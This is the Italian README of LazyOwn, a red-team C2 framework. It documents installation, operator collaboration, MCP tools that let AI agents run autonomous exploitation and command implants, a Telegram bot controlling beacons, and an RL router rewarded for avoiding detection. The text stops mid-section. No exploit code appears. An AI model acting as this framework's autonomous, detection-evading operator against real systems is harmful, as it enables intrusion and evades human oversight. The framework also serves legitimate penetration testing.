Framework red team e piattaforma C2 multi-operatore con agenti AI, implant malleabili, rootkit, motore di phishing e 741 comandi CLI che coprono l'intera kill chain di attacco.
741 comandi CLI. C2 multi-operatore. 153 strumenti MCP per agenti AI. L'unico C2 OSS con supporto BOF Linux + marketplace YARA/Nuclei integrati.
| Prova in 60 secondi (nessuna installazione) | Percorso ideale (ogni engagement) | Auto-pwn con un comando |
|---|---|---|
docker run -it ghcr.io/grisuno/lazyown:latest | ping > lazynmap > auto_populate > facts_show > recommend_next | engage 10.10.11.5 |

| Primi 7 comandi | Ciclo di ricognizione |
|---|---|
![]() | ![]() |
| C2 da CLI | Invia comandi ai beacon |
|---|---|
![]() | ![]() |
Procedura completa: QUICKSTART.md (5 min) · guida 80/20: ESSENTIALS.md · HTB end-to-end: docs/examples/htb-lame-walkthrough.md · Confronto onesto: COMPARISON.md
| Capacità | LazyOwn | Sliver | Havoc | Mythic | Caldera | Metasploit |
|---|---|---|---|---|---|---|
| Supporto BOF Linux | sì | no | no | no | no | no |
| Marketplace YARA + Nuclei integrato | sì | no | no | no | no | no |
| Server MCP per agenti AI (153 strumenti) | sì | no | no | no | no | no |
| Operatore LLM + hive multi-agente | sì | no | no | no | no | no |
| C2 multi-operatore + motore di phishing | sì | parziale | parziale | parziale | parziale | parziale |
Tabella completa: COMPARISON.md. Hai trovato un errore? Apri una issue, lo correggiamo.```sh
██▓ ▄▄▄ ▒███████▒▓██ ██▓ ▒█████ █ █░███▄ █
▓██▒ ▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒▒██▒ ██▒▓█░ █ ░█░██ ▀█ █
▒██░ ▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░▒██░ ██▒▒█░ █ ░█▓██ ▀█ ██▒
▒██░ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░▒██ ██░░█░ █ ░█▓██▒ ▐▌██▒
░██████▒▓█ ▓██▒▒███████▒ ░ ██▒▓░░ ████▓▒░░░██▒██▓▒██░ ▓██░
░ ▒░▓ ░▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒
░ ░ ▒ ░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░
[](https://ko-fi.com/Y8Y2Z73AV)
LazyOwn viene fornito con ASSOLUTAMENTE NESSUNA GARANZIA. Questo è software libero, e sei libero di ridistribuirlo secondo i termini della GNU General Public License v3.
Consulta il file LICENSE per i dettagli sull'utilizzo di questo software.
# LazyOwn RedTeam Framework v0.2.161
LazyOwn è un framework red team professionale e una piattaforma Command & Control (C2) progettata per penetration tester, red team e ricercatori di sicurezza. Offre 741 comandi CLI, 126 alias, 153 strumenti MCP per agenti AI, una dashboard web C2 multi-operatore e 137 integrazioni di plugin YAML/Lua che coprono l'intera kill chain su Linux, Windows, macOS e BSD.
**Novità nella v0.2.161:** marketplace integrato con regole YARA + template Nuclei, sfruttamento autonomo `auto_pwn`, comando `hunt` per ricognizione threat-informed, motore di suggerimenti post-comando, crittografia automatica dei dati di sessione, ELO/badge gamificati e 7 nuovi playbook APT.
## Avvio rapido in tre comandi
Nuovo qui? Questo è l'intero percorso di avvio. Procedura completa: [`QUICKSTART.md`](https://github.com/grisuno/lazyown/blob/main/QUICKSTART.md).```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh # virtualenv + pinned dependencies + C2 certificates
./run # launches the shell; first run offers the setup wizard
L'installazione predefinita è leggera; aggiungi --with-ml per lo stack pesante torch/CUDA, --with-ollama per il runtime LLM locale, --with-tools per i comuni binari esterni. Le dipendenze sono bloccate in requirements.txt (core multipiattaforma) e requirements-ml.txt (ML opzionale); pyproject.toml è l'unica fonte di verità.
Per ingaggi isolati e riproducibili, vedi lazyown-docker/README.md.```bash
cd lazyown-docker
./mkdocker.sh build
./mkdocker.sh run --vpn 1
Poi, all'interno della shell `(LazyOwn) >`:```text
doctor # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard # guided config (auto-detects lhost, walks 8 steps incl. LLM provider)
ping # confirm the target is up and detect its OS
lazynmap # full port + service scan
Se doctor segnala un errore bloccante (rosso), risolvilo prima di procedere — ti indica il comando esatto pip install / apt install per qualunque cosa manchi. Gli avvisi (giallo) sono funzionalità opzionali che puoi ignorare per ora.
LazyOwn è costruito attorno a un'architettura modulare, guidata da comandi, che offre flessibilità ed estensibilità per i flussi di lavoro di security testing.

LazyOwn integra un'interfaccia a riga di comando (CLI) basata su cmd2 e una GUI web basata su Flask. I parametri sono limitati a payload.json, consentendo una configurazione coerente tra gli strumenti. Il framework supporta la simulazione di avversari, la pianificazione delle attività tramite il comando cron e flussi di lavoro persistenti di simulazione automatizzata delle minacce.


Connetti Claude Code al framework LazyOwn tramite il Model Context Protocol (MCP). Il server MCP espone 153 strumenti che coprono l'intero ciclo di vita dell'engagement.
| File | Scopo |
|---|---|
skills/lazyown_mcp.py | Server MCP — espone 153 strumenti LazyOwn a Claude |
skills/lazyown.md | Documentazione della skill / slash-command di Claude Code |
skills/autonomous_daemon.py | Daemon di esecuzione autonoma (guidato da obiettivi, non richiede Claude tra i passaggi) |
skills/hive_mind.py | Sistema multi-agente queen + drone con memoria ChromaDB |
skills/lazyown_policy.py | Motore di policy basato su ricompense per l'auto_loop |
skills/lazyown_facts.py | Estrazione strutturata di fatti da nmap XML e output degli strumenti |
skills/lazyown_parquet_db.py | Knowledge base Parquet: cronologia sessioni, GTFOBins, LOLBas, ATT&CK |
Guida completa:
QUICKSTART.md```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn && bash install.sh
./run (LazyOwn) > doctor # preflight: Python, venv, packages, certs, SecLists, tools (LazyOwn) > wizard # auto-detects lhost, walks 8 config steps incl. LLM provider
(LazyOwn) > scope add 10.10.11.0/24 && scope mode enforce (LazyOwn) > ping && lazynmap && auto_populate && facts_show
bash fast_run_as_r00t.sh --no-attach --vpn 1
(LazyOwn) > blacksandbeacon
(LazyOwn) > collab_join alice
---
## Collaborazione Multi-Operatore
Il layer di collaborazione di LazyOwn fornisce funzionalità di team server in tempo reale tramite
Server-Sent Events (SSE). Si attiva automaticamente all'avvio di `lazyc2.py`.
**Dashboard browser** — apri in qualsiasi browser del team:```
https://<lhost>:<c2_port>/collab/?operator=<your_handle>
Stream SSE del terminale:```bash curl --insecure -N "https://:<c2_port>/collab/stream?operator=alice" | jq .
**Pubblica un risultato a tutti gli operatori**:```bash
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
-H "Content-Type: application/json" \
-d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'
Blocca un target (impedisce a due operatori di eseguire lo stesso tool):```bash
curl --insecure -sk -X POST https://:<c2_port>/collab/lock
-H "Content-Type: application/json"
-d '{"target":"10.10.11.5","operator":"alice","ttl_secs":300}'
| Endpoint | Metodo | Descrizione |
|---|---|---|
| `/collab/` | GET | Dashboard browser multi-operatore |
| `/collab/stream?operator=<name>` | GET (SSE) | Flusso di eventi in tempo reale |
| `/collab/operators` | GET | Elenco degli operatori attivi |
| `/collab/publish` | POST | Trasmette un evento strutturato |
| `/collab/lock` | POST | Acquisisce un lock consultivo sul target |
| `/collab/unlock` | POST | Rilascia il lock sul target |
| `/collab/locks` | GET | Tutti i lock attivi |
| `/collab/history?n=100` | GET | Ultimi N eventi |
Dalla CLI: `collab_join <handle>` stampa tutti gli URL per un dato operatore.
---
## Avvio rapido MCP
LazyOwn espone l'intero framework tramite il Model Context Protocol (MCP). Lo stesso server funziona con Claude Code, Claude Desktop, Hermes Agent e OpenCode — scegli l'integrazione che corrisponde al tuo ambiente.
### Claude Code```bash
bash scripts/setup_hermes_mcp.sh
Oppure copia .mcp.example.json in .mcp.json e imposta LAZYOWN_DIR al
percorso assoluto di questo checkout:```json
{
"mcpServers": {
"lazyown": {
"command": "python3",
"args": ["${LAZYOWN_DIR}/skills/lazyown_mcp.py"],
"env": {
"LAZYOWN_DIR": "${LAZYOWN_DIR}"
}
}
}
}
Installa lo slash command (opzionale):```bash
cp skills/lazyown.md ~/.claude/commands/lazyown.md
Dopo aver riavviato Claude Code, tutti gli strumenti lazyown_* sono disponibili.
LazyOwn è nativo di Hermes. Il livello di integrazione skills/hermes-lazyown/ fornisce una superficie di strumenti compatta e con namespace ottimizzata per le finestre di contesto di Hermes con ripresa da checkpoint, generazione dinamica di regole e pianificazione nativa della delega.
Registra in ~/.hermes/config.yaml:```yaml
mcp_servers:
hermes-lazyown:
command: python3
args: ["${LAZYOWN_DIR}/skills/hermes-lazyown/mcp_server.py"]
env:
LAZYOWN_DIR: "${LAZYOWN_DIR}"
Poi ricarica gli strumenti MCP in Hermes con `/reload-mcp`.
Consulta `skills/hermes-lazyown/README.md` per la guida completa all'integrazione con Hermes.
### OpenCode
LazyOwn è compatibile con OpenCode tramite il **LazyOwnOpenCodeAdapter**:```bash
git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build
L'adattatore collega il server MCP di LazyOwn alla CLI di OpenCode, esponendo la stessa superficie di strumenti lazyown_* con prompt e flussi di lavoro nativi di OpenCode.
Configurazione completa: https://github.com/grisuno/LazyOwnOpenCodeAdapter
| Variabile | Predefinito | Descrizione |
|---|---|---|
LAZYOWN_DIR | genitore di skills/ | Directory radice di LazyOwn |
LAZYOWN_C2_HOST | payload.json lhost | Indirizzo del server C2 |
LAZYOWN_C2_PORT | payload.json c2_port | Porta del server C2 |
LAZYOWN_C2_USER | payload.json c2_user | Nome utente C2 |
LAZYOWN_C2_PASS | payload.json c2_pass | Password C2 |
| Gruppo | Strumenti | Descrizione |
|---|---|---|
| Esecuzione principale | 7 | run_command (ora con dry_run + confirm), get/set_config, list_modules, discover_commands, command_help, palette |
| Audit e contesto | 6 | target_context, tasks_cleanup, evidence_grep, session_diff, run_command_async, job_status |
| Gestione target | 3 | add_target, list_targets, set_active_target |
| Controllo C2 / Implant | 10 | c2_command, c2_status, get_beacons, run_api, c2_profile, c2_vuln_analysis, c2_redop, c2_search_agent, c2_script, c2_adversary |
| Consapevolezza della sessione | 4 | session_status, session_state, list_sessions, read_session_file |
| Ciclo autonomo | 3 | auto_loop, policy_status, recommend_next |
| ACI — Autonomous Campaign Intelligence | 3 | aci_plan, aci_status, aci_replan |
| Intelligenza reattiva | 2 | reactive_suggest, bridge_suggest |
| Obiettivi e pianificazione | 4 | inject_objective, next_objective, soul, read_prompt |
| Basi di conoscenza | 9 | parquet_query/annotate, facts_show, cve_search, searchsploit, rag_index/query, threat_model |
| Memoria e apprendimento | 3 | memory_recall/store, eval_quality |
| Campagna e reportistica | 7 | campaign, campaign_tasks, generate_report, misp_export, collab_publish, timeline |
| Playbook | 2 | playbook_generate, playbook_run |
| Addon, strumenti e plugin | 3 | list_addons/plugins, create_addon/tool |
| Pianificazione | 2 | cron_schedule, daemon |
| Agenti AI | 5 | run_agent, agent_status/result, list_agents, llm_ask |
| Motore di eventi | 4 | poll_events, ack_event, add_rule, heartbeat_status |
| SWAN MoE+RL | 4 | swan_run, swan_ensemble, swan_status, swan_route |
Documentazione completa: skills/README.md e skills/lazyown.md.
Aggiunti in skills/lazyown_mcp_helpers.py per rendere gli audit autonomi più
efficienti e meno soggetti a errori. La logica risiede in un modulo di funzioni pure, così
è testabile unitariamente in isolamento (tests/test_mcp_improvements.py).
| Strumento / Parametro | Cosa fa | Perché è importante |
|---|---|---|
lazyown_session_init(format='json', include_recommend=true) | Restituisce il SITREP come dict strutturato invece che come banner; opzionalmente incorpora le prime 3 azioni raccomandate classificate. | Risparmia ~5KB di testo decorato per chiamata; gli agenti possono filtrare prima di consumare. |
lazyown_campaign_sitrep(format='json') | Stessa opzione JSON per il report principale di turno. | Formato coerente tra entrambi gli strumenti di situazione. |
lazyown_target_context(host, port=N) | Aggrega porte aperte, credenziali del world-model (con provenienza + confidenza), vulnerabilità, freschezza delle evidenze pwntomate e freschezza di nmap per una tupla (host, port). | Sostituisce 4-5 ricerche separate quando si decide l'azione successiva su un target. |
lazyown_tasks_cleanup(dry_run=true, min_confidence=0.5) | Verifica sessions/tasks.json e segnala le voci in cui la credenziale incorporata è in realtà un timestamp / URL / IP / duplicato. Passa dry_run=false per riscrivere il file (viene prima scritto un .bak). | Il watcher trasforma comunemente i timestamp dei log in "credenziali"; su una campagna reale questo elimina oltre 100 attività di rumore. |
| `lazyown_evidence_grep(pattern, scope='all | loot | nmap |
lazyown_run_command(command, dry_run=true) | Pre-flight: restituisce comando base, percorso del binario, richiesto dall'OS vs OS corrente, artefatti che verrebbero duplicati, chiavi payload mancanti — senza eseguire. | Impedisce di rieseguire per errore scansioni da 30 minuti; segnala strumenti solo-Windows contro un target Linux prima del lancio. |
lazyown_run_command_async(command, timeout) + lazyown_job_status(job_id) | Pattern di job in background per comandi lunghi (lazynmap, pwntomate, auto_loop). Restituisce immediatamente un job_id. | Libera l'agente dal bloccarsi su comandi documentati come ≥30 min. |
lazyown_session_diff(take=true) | Riporta file aggiunti / modificati / rimossi in sessions/ più nuove credenziali / ID attività dall'ultimo snapshot. | Rende espliciti i passaggi di turno; funziona bene come prima chiamata di ogni nuova sessione. |
Gate di conferma (confirm=true) |
Un livello di estensione SOLID in cli/cli_enhancements.py si innesta nella shell cmd2
tramite l'auto-discovery esistente dei CommandSet (cli/commands/audit.py). Non sono state
necessarie modifiche al core lazyown.py di 27k righe oltre a due piccoli hook
(caricamento alias lazy, fallback completedefault).
| Comando / hook | Cosa fa | Supportato da |
|---|---|---|
fz [query] | Ricerca fuzzy di comandi su ogni do_*, alias, plugin e addon. Assegna punteggi: esatto > prefisso > sottostringa > similarità di sequenza. | FuzzyCommandIndex |
form <command> | Guida l'operatore attraverso un modulo interattivo di parametri per comandi con molti flag (attualmente phishing, venom, evil). Valida i campi obbligatori e gli enum di options; ricade sui valori predefiniti in IO non interattivo. | InteractiveForm, FormSpec |
status_tail [target] | Analizza l'ultimo sessions/scan_<target>.partial/.nmap e stampa porte aperte, percentuale di completamento e ultima riga così l'operatore può monitorare una scansione lunga senza lasciare la shell. | LiveStatusTail |
grep_log <pattern> [--cmd <name>] | Ricerca regex nella trascrizione recente dei comandi eseguiti e dei loro output. Persiste tra i riavvii (sessions/_cli_transcript.jsonl). | TranscriptStore |
reload_addons | Interroga lazyaddons/ e plugins/ e ri-registra tutto ciò che è cambiato dall'ultima scansione, senza riavviare la shell. | AddonHotReloader |
audit_complete_keys <command> [partial] | Mostra cosa suggerirebbe il completer payload-aware per un dato comando. Utile per verificare il comportamento di completamento. | PayloadAwareCompleter |
completedefault (Tab) | L'hook di Cmd2 ora ricade su un completer payload-aware che suggerisce chiavi payload per set/assign, valori IP per target, chiavi wordlist per gobuster/ffuf, nomi di addon per run, nomi di plugin per plugin e credenziali catturate per evil/cme/. |
Le primitive sono agnostiche rispetto al framework e dipendono da piccole interfacce
typing.Protocol (PayloadProvider, CommandLister, TerminalIO) così possono essere
testate unitariamente in isolamento. Vedi tests/test_cli_enhancements.py (36 test).
La shell cmd2 installa un selettore fuzzy basato su curses sopra GNU readline
(cli/fuzzy_picker.py). Con una singola pressione di Tab, quando sono disponibili due o più
completamenti, il selettore apre un menu a tendina bordato ancorato
in fondo al terminale che mostra ogni corrispondenza insieme alla sua descrizione.
Lo scorer favorisce corrispondenze esatte, per prefisso e per sottosequenza rispetto a sottostringa e
similarità (la stessa classificazione usata dal comando standalone fz), e i
caratteri corrispondenti della query sono evidenziati in ogni riga così l'operatore
può vedere perché un candidato è nella lista.
Navigazione: ↑ / ↓ per muoversi, Page Up / Page Down per saltare, Home /
End per cercare, Backspace per modificare la query sul posto, Tab o
Enter per inserire il comando evidenziato nel prompt, Esc o
Ctrl-C per annullare. Quando corrisponde un solo candidato, il normale
comportamento di auto-inserimento di readline viene preservato così il selettore non si mette mai in mezzo a un
operatore veloce. Geometria, colori e glifi sono guidati da PickerConfig,
e un blocco opzionale fuzzy_picker in payload.json può sovrascrivere qualsiasi
suo campo (ad es. "max_visible_rows": 8) senza toccare il codice.
config_bannerLa shell cmd2 renderizza un prompt Neon Box su tre righe assemblato da un
insieme canonico di segmenti (user_host, iface, lhost, rhost,
domain, public_ip, cwd, git, venv, time, kernel, version,
battery_load). Il renderer è implementato in cli/banner_config.py come
un piccolo stack SOLID: un SegmentRenderer per ogni informazione, un
SegmentRegistry, un value object BannerSettings e un BannerRenderer
che emette output colorato ANSI. IP pubblico, release del kernel e la versione
di LazyOwn sono memorizzati in cache con TTL così il prompt resta sub-millisecondo dopo il primo
render.
Il comando shell config_banner apre un procedura guidata curses in stile Powerlevel10k
con tre schede — Segments, Colors, Glyphs — e un'anteprima
dal vivo del prompt risultante ancorata in fondo al pannello.
Tab / Shift+Tab ciclano le schede; ↑ / ↓ si muovono all'interno della scheda attiva;
Enter salva in payload.json sotto il blocco banner; Escape
annulla. Binding per scheda:
| Scheda | Tasti azione |
|---|---|
| Segments | Space attiva/disattiva un segmento; a abilita ogni segmento; n disabilita ogni segmento; d ripristina i valori predefiniti di fabbrica. |
| Colors | Space / → passa al colore denominato successivo (bright_green, bright_cyan, bright_magenta, …); ← torna indietro; d ripristina il colore predefinito di quel segmento. |
| Glyphs | Space / → passa al carattere successivo per lo slot focalizzato (top_left, vertical, bullet_primary, arrow, prompt_char_user, …); ← torna indietro; d ripristina il glifo predefinito di quello slot. |
Il prompt della shell si aggiorna immediatamente dopo il salvataggio — nessun riavvio necessario.
Gli operatori senza TTY (CI, script) possono comunque pilotare il sistema con
config_banner show e config_banner reset, o modificare manualmente il payload:```json
"banner": {
"enabled": ["user_host", "iface", "rhost", "domain", "cwd", "git", "venv", "time"],
"colors": {"user_host": "bright_green", "rhost": "bright_red", "domain": "bright_yellow"},
"glyphs": {"top_left": "┌", "bottom_left": "└", "horizontal": "─", "vertical": "│",
"bullet_primary": "❯", "arrow": "→"}
}
I nomi dei colori vengono validati rispetto a `ColorRegistry` e i caratteri dei glifi rispetto a `GlyphRegistry`; qualsiasi cosa sconosciuta ricade silenziosamente sul valore predefinito della factory, così un payload malformato non rompe mai il prompt.
### Navigazione graph-aware — UX per operatore + agente da graphify
`cli/graph_advisor.py` carica il knowledge graph prodotto da
[`/graphify`](https://graphify.dev) sull'albero dei sorgenti di LazyOwn
(`graphify-out/graph_lazyown.json` — ~1500 nodi, ~2900 archi, 14
community) e lo espone sia alla shell cmd2 sia al server MCP. L'advisor
è uno stack SOLID in singolo file — `GraphLoader` (IO su file con cache
basata su mtime), `GraphIndex` (indici in memoria di adiacenza / grado /
community), `GraphScorer` (primitiva pura di ranking), `GraphAdvisor`
(orchestratore) — con ogni costante mantenuta sulla dataclass
`GraphAdvisorConfig`.
**Comandi operatore (shell cmd2)**
| Comando | Scopo |
|---------|---------|
| `graph_search <query> [limit]` | Ricerca fuzzy dei nodi per label, id o file sorgente. |
| `neighbors <node> [depth] [limit]` | Attraversa il grafo verso l'esterno da un nodo con relazione dell'arco / confidenza. |
| `god_nodes [N]` | Mostra i nodi più connessi — le astrazioni centrali del framework. |
| `suggest_next [seeds…] [N]` | Raccomanda i prossimi comandi attraversando verso l'esterno dall'attività recente. Senza seed legge `sessions/LazyOwn_session_report.csv` e usa quello come seed. |
L'hook `default()` della shell ora instrada i comandi `do_*` sconosciuti
attraverso lo stesso advisor + l'esistente `FuzzyCommandIndex`, così un
operatore che digita `ddo_lazynmap` vede immediatamente *"Intendevi: do_lazynmap, do_lazynmap_quick, …?"*
prima del toast.
**Strumenti MCP (Claude Code, Claude web, qualsiasi agente MCP)**
| Strumento | Scopo |
|------|---------|
| `lazyown_graph_summary` | Conteggi di nodi / archi / community e il percorso risolto del grafo. |
| `lazyown_graph_search` | Ricerca fuzzy dei nodi con un limite `budget_tokens` così la risposta JSON non fa mai esplodere la finestra di contesto dell'agente. |
| `lazyown_graph_neighbors` | Attraversamento stratificato dell'adiacenza con relazione dell'arco e confidenza — la query canonica "da cosa dipende X?". |
| `lazyown_graph_suggest_next` | Raccomandazione del passo successivo; accetta una lista `recent` esplicita o legge il transcript della sessione. |
Ogni strumento MCP del grafo riduce in loco i campi lista per rientrare in `budget_tokens`
(predefinito 1500). Quando il grafo è mancante, ogni strumento restituisce
`{"available": false, "reason": "..."}` invece di andare in crash — all'operatore
viene detto di eseguire `/graphify .` una volta e tutto inizia a funzionare.
L'advisor usa una cache basata su `(path, mtime)` così una ricostruzione fresca di `/graphify` viene
rilevata automaticamente al successivo comando CLI o chiamata MCP senza
riavviare la shell o il server MCP. Vedi
`tests/test_graph_advisor.py` per i 20 unit test che coprono loader,
index, scorer e l'intera API dell'advisor.
### Suggerimenti reattivi inline — suggerimenti non bloccanti per il passo successivo
`cli/reactive_hints.py` si aggancia alla pipeline post-comando di cmd2 tramite
`register_postcmd_hook` e stampa una singola riga in dim sotto ogni output di comando,
prima che appaia il prompt successivo:```
↳ do_gobuster · do_enum4linux · do_ffuf
Il suggerimento proviene dal knowledge graph di graphify (lo stesso GraphAdvisor
usato da suggest_next), quindi è strutturalmente fondato — non un elenco generico.
L'hook è completamente non bloccante: ritorna prima che cmd2 renderizzi il prompt, così
l'operatore può iniziare a digitare il comando successivo immediatamente.
Controllo
| Azione | Come |
|---|---|
| Disabilitare i suggerimenti per la sessione | set enable_inline_hints false |
| Riabilitare | set enable_inline_hints true |
| Persistere in modo permanente | set enable_inline_hints false poi save |
I comandi nella lista di esclusione (help, ?, exit, set, show, palette,
dashboard, suggest_next, graph_search, neighbors, god_nodes) non
producono mai una riga di suggerimento — sono meta-comandi in cui un suggerimento aggiunge rumore.
Quando il grafo di graphify è assente l'hook ritorna silenziosamente. Esegui
/graphify . una volta per costruire il grafo e i suggerimenti inizieranno ad apparire
al comando successivo.
dashboardcli/dashboard_tui.py è una dashboard a schermo intero basata su Textual
avviata dalla shell con:```
dashboard
Blocca la shell mentre è aperto (come `htop` o `lazygit`). Premi **Q** o
Ctrl-C per chiudere e tornare al prompt di cmd2.
**Layout**```
┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5 ATTACKER 10.10.14.5 DOMAIN target.htb PHASE RECON OS │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│ Kill Chain │ Recent Commands │ Ops │
│ ✔ Recon │ ● lazynmap 2026-05-11 │ Objective: │
│ ▶ Enum │ ● ping 2026-05-11 │ Initial Access │
│ ○ Exploit │ ● gobuster 2026-05-11 │ │
│ ○ PrivEsc │ │ Credentials: 0 │
│ ○ Lateral │ │ Hashes: 0 │
│ ○ Exfil │ Config │ Beacons: 0 │
│ ○ Report │ Target: 10.10.11.5 │ │
│ │ C2 Port: 4444 │ │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│ ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto │
└──────────────────────────────────── [Q] Quit [R] Refresh [?] Help ────────┘
Sorgenti dati (aggiornate automaticamente ogni 5 secondi)
| Pannello | Sorgente |
|---|---|
| Target / fase / OS | payload.json, sessions/world_model.json |
| Avanzamento kill chain | sessions/world_model.json → completed_phases |
| Comandi recenti | sessions/LazyOwn_session_report.csv |
| Obiettivo | sessions/world_model.json, sessions/tasks.json |
| Credenziali / hash | sessions/credentials*.txt, sessions/hash*.txt |
| Beacon | sessions/beacons.json |
| Suggerimenti dal grafo | graphify-out/graph_lazyown.json |
Richiede pip install textual (aggiunto a install.sh).
Lo strumento MCP lazyown_palette (raggiungibile anche come comando CLI palette
e come vista web /palette, con un overlay globale Ctrl+K / Cmd+K su
ogni pagina C2) consente ad agenti e operatori di sfogliare i 422+ comandi do_*
senza scorrere. Modalità:
| Modalità | Esempio | Descrizione |
|---|---|---|
| Panoramica | palette | Conteggio dei comandi fase per fase. |
| Fase | palette recon | Ogni comando in una fase della kill-chain, con un riepilogo di una riga. |
| Fase + filtro | palette enum nmap | Elenco della fase ristretto tramite una query libera. |
| Ricerca | palette --search ldap | Ricerca fuzzy su nome e riepilogo. |
| Dettaglio | palette --info do_lazynmap | Voce completa più i vicini calls e related derivati da graphify (quali altri comandi condividono funzioni helper con questo). |
| Fase successiva | palette --next recon | Comandi consigliati nella fase che segue nell'ordinamento della kill-chain. |
Le liste calls / related della vista di dettaglio provengono da
graphify-out/graph_lazyown.json (rigenerato dalla skill graphify);
quando quel file è assente la palette degrada silenziosamente ai soli dati di fase.
Il bot telegram_hermes.py collega Telegram all'intero framework LazyOwn tramite il layer MCP e il gateway Hermes. Supporta l'esecuzione diretta di comandi shell, la delega ad agenti autonomi, la pianificazione cron, l'interazione con i beacon C2 e la messaggistica cross-platform.
| File | Scopo |
|---|---|
telegram_hermes.py | Bot Telegram — collega Telegram a LazyOwn MCP e al gateway Hermes |
run_telegram_hermes.sh | Script di avvio che utilizza un venv dedicato |
venv_telegram/ | Ambiente virtuale Python con le dipendenze di python-telegram-bot |
cd LazyOwn python3 -m venv venv_telegram source venv_telegram/bin/activate pip install python-telegram-bot nest_asyncio requests
python3 -c "import json; p=json.load(open('payload.json')); p['telegram_token']='YOUR_BOTFATHER_TOKEN'; json.dump(p,open('payload.json','w'),indent=2)"
./run_telegram_hermes.sh
### Comandi del Bot
| Comando | Descrizione |
|---------|-------------|
| `/start <secret>` | Autenticazione con il segreto C2 da `payload.json` |
| `/cmd <command>` | Esegue qualsiasi comando shell di LazyOwn |
| `/sitrep` | Report completo della situazione della campagna |
| `/config [key] [val]` | Visualizza o imposta i valori di payload.json |
| `/addcli <client_id>` | Imposta il client C2 attivo |
| `/clients` | Elenca gli impianti C2 online |
| `/c2 <command>` | Invia un comando al beacon C2 |
| `/agent <goal>` | Esegue l'agente autonomo Groq/Ollama |
| `/delegate <goal>` | Delega il task al subagente Hermes |
| `/cron <schedule> <cmd>` | Pianifica comandi LazyOwn ricorrenti |
| `/status` | Mostra lo stato del daemon e autonomo |
| `/stop` | Ferma qualsiasi daemon autonomo in esecuzione |
| `/download <file>` | Scarica file da sessions/ |
| Carica documento | Carica file sul beacon C2 |
Qualsiasi messaggio di testo semplice non preceduto da `/` viene trattato come un comando LazyOwn diretto. Sono applicati il rate limiting (5 comandi/minuto) e i timeout di sessione (30 minuti).
### Architettura
Il bot utilizza la stessa esecuzione di comandi basata su PTY del server MCP (`skills/lazyown_mcp.py`), quindi ogni comando, alias e addon di LazyOwn funziona senza import Python diretti. I task autonomi (`/agent`, `/delegate`) generano agenti Groq o Ollama attraverso la shell di LazyOwn, e i comandi C2 (`/c2`, `/clients`) utilizzano gli endpoint autenticati `/api/command` e `/get_connected_clients`.
---
## Architettura AI Avanzata (MoE + RL + SWAN + Hive Mind)
LazyOwn integra uno stack AI multi-agente di livello mondiale che si adatta e migliora attraverso ogni engagement:
### Mixture of Experts (MoE) — `modules/moe_router.py`
Cinque esperti LLM sono registrati con tag di capacità, pesi base e livelli di costo:
| Esperto | Backend | Punti di forza |
|--------|---------|-----------|
| `groq_fast` | Groq llama-3.1-8b-instant | Ricognizione, enumerazione, decisioni rapide |
| `groq_powerful` | Groq llama-3.3-70b-versatile | Sfruttamento, post-ex, ragionamento complesso |
| `groq_deepseek_r1` | Groq deepseek-r1-distill-llama-70b | Escalation di privilegi, ragionamento passo-passo |
| `ollama_reason` | Ollama deepseek-r1:1.5b | Offline, sicuro per la privacy, analisi dettagliata |
| `groq_gemma` | Groq gemma2-9b-it | Movimento laterale, analisi delle credenziali |
Il routing utilizza softmax scalato per temperatura (`T = max(0.5, 1.5/(1+calls/50))`) su pesi aggiustati. I pesi si auto-aggiustano tramite media mobile esponenziale del reward per esperto nel tempo.
### Reinforcement Learning from Models (RLM) — `modules/rl_trainer.py`
Il Q-learning tabellare addestra la policy di routing sulle sessioni di engagement:```
State: (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw| (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]
Hyperparameters: α=0.10, γ=0.90, ε_start=0.20, ε_min=0.05, ε_decay=0.995. L'esplorazione epsilon-greedy decade ad ogni aggiornamento. I valori Q persistono in sessions/expert_qvalues.json tra le sessioni.
skills/swan_agent.pyIl livello di integrazione di alto livello collega MoE + RL + Detection Oracle + Hive Memory:
swan_run: esecuzione a esperto singolo con routing guidato da RL e aggiornamento Q post-esecuzioneswan_ensemble: N esperti in parallelo tramite ThreadPoolExecutor, sintetizzati da WeightedTextAggregatorOutcomeEvaluator: reward = 0 quando la probabilità di rilevamento ≥ 70% (detection-aware reward shaping)modules/detection_oracle.pyPredice la probabilità di rilevamento prima dell'esecuzione utilizzando 17 regole Sigma-lite che coprono: accesso alle credenziali (LSASS, SAM, DCSync), movimento laterale (PsExec, WMI, evil-winrm), escalation di privilegi (impersonificazione di token, named pipe), sfruttamento, ricognizione, C2 e brute force.
Aggregazione della probabilità: P(detect) = 1 - ∏(1 - P_i) su tutte le regole attivate.
modules/auto_purple.pyCiclo di misurazione automatizzato red-vs-blue che esegue azioni offensive, interroga LazyOwnBT per il rilevamento e retroalimenta i risultati al Detection Oracle per la calibrazione.```bash (LazyOwn) > purple_exec nmap -sV 10.10.11.5 recon # execute + detect (LazyOwn) > purple_score # show detection rates (LazyOwn) > purple_report # export CSV + JSON (LazyOwn) > purple_dashboard # Textual TUI
**Metodi di rilevamento:**
